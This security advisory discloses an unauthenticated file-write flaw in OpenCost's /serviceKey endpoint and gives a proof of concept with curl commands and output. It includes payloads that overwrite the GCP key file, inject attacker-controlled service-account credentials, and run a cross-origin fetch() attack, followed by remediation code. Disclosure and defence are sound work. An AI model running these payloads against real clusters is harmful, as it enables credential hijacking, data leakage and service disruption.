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Summary
OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
Affected Versions
OpenCost: All versions up to and including the latest release
Vulnerable File:
pkg/costmodel/router.go(lines 365-379)Vulnerable Endpoint:
POST /serviceKey
Vulnerability Details
Root Cause
The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation
k := []byte(key)
err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
if err != nil {
fmt.Fprintf(w, "Error writing service key: %s", err)
}
w.WriteHeader(http.StatusOK)
}
File Path Determination (core/pkg/env/core.go):
func GetGCPAuthSecretFilePath() string {
return GetPathFromConfig("key.json")
}
func GetPathFromConfig(fileName string) string {
return filepath.Join(GetConfigPath(), fileName)
}
func GetConfigPath() string {
return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}
Security Issues
No Authentication: Any network-accessible client can invoke the endpoint
No Input Validation: User input is not validated as a valid GCP service account key
Overly Permissive CORS:
Access-Control-Allow-Origin: *allows cross-origin attacksPredictable File Path: File location controlled by
CONFIG_PATHenvironment variable
Proof of Concept
Environment Setup
Prerequisites
Kubernetes cluster (tested on kind v1.30.0)
Helm 3.x
kubectl configured
Step 1: Create Namespace
kubectl create namespace opencost
Output:
namespace/opencost created
Step 2: Add OpenCost Helm Repository
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update
Output:
"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!
Step 3: Deploy OpenCost
helm install opencost opencost/opencost --namespace opencost \
--set opencost.exporter.defaultClusterId=test-cluster \
--set opencost.prometheus.internal.enabled=true \
--set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
--set opencost.prometheus.internal.namespaceName=monitoring \
--set opencost.prometheus.internal.port=9090 \
--set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'
Key Configuration:
CONFIG_PATH=/tmp: Sets writable directory for file operations
Output:
NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1
Step 4: Verify Deployment
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost
Output:
NAME READY STATUS RESTARTS AGE
opencost-db97bbcc-5q8cb 2/2 Running 0 44s
Step 5: Verify Service Accessibility
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
curl -v http://opencost.opencost.svc.cluster.local:9003/healthz
Output:
< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0
Exploitation
Step 6: Check Initial State
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
cat: can't open '/tmp/key.json': No such file or directory
Note: File does not exist initially
Step 7: Verify CONFIG_PATH Configuration
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH
Output:
CONFIG_PATH=/tmp
Note: CONFIG_PATH correctly set to /tmp
Step 8: Execute Exploit
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${MALICIOUS_CONTENT}" \
-v
Request Details:
> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244
Response Details:
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0
Result: HTTP 200 OK - Request successful without authentication
Step 9: Verify File Write
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json
Output:
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}
Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
Impact Analysis
Direct Impact
| Impact Type | Severity | Description |
|---|---|---|
| Unauthorized Credential Overwrite | High | Attacker can overwrite GCP service account key file content |
| No Authentication Required | High | Vulnerability can be exploited without any credentials |
| CORS Misconfiguration | Medium | Allows cross-origin attacks via malicious websites |
| Fixed File Path | Low | Attacker cannot control write location, only content |
Attack Scenario Analysis
Scenario 1: GCP Credential Overwrite Leading to Service Disruption
Attack Steps:
Attacker sends POST request with invalid JSON or malformed GCP key
/serviceKeyendpoint accepts request and overwrites existingkey.jsonfileOpenCost attempts to access GCP API with corrupted credentials
GCP integration fails, cost data collection stops
Technical Details:
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
-d 'key={"invalid":"json","corrupted":"credentials"}'
Impact:
Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
Operational Impact: FinOps processes dependent on cost data are blocked
Availability Degradation: Manual intervention required to restore correct credentials
CVSS Impact Score: Availability impact is Low (A:L)
Scenario 2: Malicious Credential Injection for Data Hijacking
Attack Steps:
Attacker creates their own GCP project and service account
Injects attacker-controlled valid GCP credentials into OpenCost
OpenCost uses attacker's credentials to send requests to GCP Billing API
Target organization's cost data is sent to attacker's GCP project
Technical Details:
# Inject attacker credentials
ATTACKER_KEY='{
"type": "service_account",
"project_id": "attacker-billing-project",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'
curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"
Impact:
Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
Compliance Risk: Cost data may contain protected business information
Data Leakage Examples:
Kubernetes cluster size and node configuration
Resource consumption per namespace (can map to business units)
Cloud service usage patterns (databases, storage, compute instance types)
Cost trends (can infer business growth or contraction)
CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High
Scenario 3: Cross-Origin Attack (CORS Exploitation)
Attack Steps:
User visits attacker-controlled malicious website
Malicious JavaScript sends POST request to
http://localhost:9003/serviceKeyDue to CORS set to
*, browser allows cross-origin requestUser's browser acts as proxy to execute credential overwrite attack
Prerequisites:
User exposes OpenCost service via
kubectl port-forwardor other meansUser's browser can access OpenCost endpoint
Technical Details:
// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'key={"type":"malicious"}'
});
Impact:
User-Unaware Attack: No active user interaction required
Difficult to Trace: Attack originates from victim's IP address
Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network
Vulnerability Limitations
What Attacker Cannot Control:
File Write Path: Fixed by
CONFIG_PATHenvironment variable, attacker cannot modifyFile Name: Fixed as
key.json, cannot write to other filesFile Permissions: Write permission is
0644, attacker cannot escalate
Actual Attack Capabilities:
File Content Control: Complete control over
key.jsoncontentUnauthenticated Exploitation: No credentials required to trigger
Remote Accessibility: Can be exploited over network (if service exposed)
Real-World Impact Assessment
| Deployment Scenario | Risk Level | Description |
|---|---|---|
| Cluster-Internal Only | Medium | Requires attacker to have cluster network access |
| Exposed via Ingress | High | Any internet user can exploit |
| Exposed via NodePort | High | Attackers with node network access can exploit |
| Via port-forward | Medium-High | Local dev environments vulnerable to CORS attacks |
Recommended Risk Rating:
Default deployment (cluster-internal): Medium
Improperly exposed (public internet): High
Remediation
Immediate Actions (P0)
1. Add Authentication
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
// Add authentication check
if !a.isAuthorized(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... existing logic
}
2. Implement Input Validation
func validateServiceKey(key string) error {
var keyData map[string]interface{}
if err := json.Unmarshal([]byte(key), &keyData); err != nil {
return fmt.Errorf("invalid JSON format")
}
requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
for _, field := range requiredFields {
if _, ok := keyData[field]; !ok {
return fmt.Errorf("missing required field: %s", field)
}
}
if keyData["type"] != "service_account" {
return fmt.Errorf("invalid key type")
}
return nil
}
3. Restrict CORS
w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))
Long-term Solutions (P1)
Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
Implement RBAC: Role-based access control for sensitive operations
Add Audit Logging: Log all file write operations
Apply Least Privilege: Minimize ClusterRole permissions
Workarounds
Until a patch is available, implement these mitigations:
Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
Disable Endpoint: Remove or disable the
/serviceKeyendpoint if not requiredMonitor File Changes: Alert on modifications to
key.jsonfileUse Read-only Filesystem: Mount config directory as read-only where possible
References
Vulnerable Code:
pkg/costmodel/router.go:365-379Environment Configuration:
core/pkg/env/core.goOWASP: Broken Access Control
CWE-20: Improper Input Validation
پیوندها
گزارشدهندگان
- b0b0haha

